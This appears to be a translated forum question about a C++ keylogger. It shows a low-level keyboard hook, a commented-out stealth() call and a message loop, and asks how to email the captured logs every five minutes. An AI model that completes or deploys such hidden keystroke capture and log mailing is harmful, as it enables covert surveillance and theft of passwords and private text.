我正在制作一个记录击键的键盘记录器(duh ..)。现在,当我在 C++ 中实现了基本的键盘记录器时,我想为应用程序添加一个新功能:我希望它将日志邮寄到我的电子邮件中。到目前为止一切顺利,我发现这个开源电子邮件客户端非常适合我的需求。我唯一的问题是让应用程序以 x 分钟的间隔发送日志。
int main(int argc, char *argv[])
{
//stealth();
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
if(hHook == NULL)
{
cout << "Hook failed" << endl;
}
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
return 0;
}
不知何故,我需要实现某种计数器,它会在某些时候使用函数send(); . 任何人都知道如何修改 MSG 循环以执行函数send(); 每5分钟一次?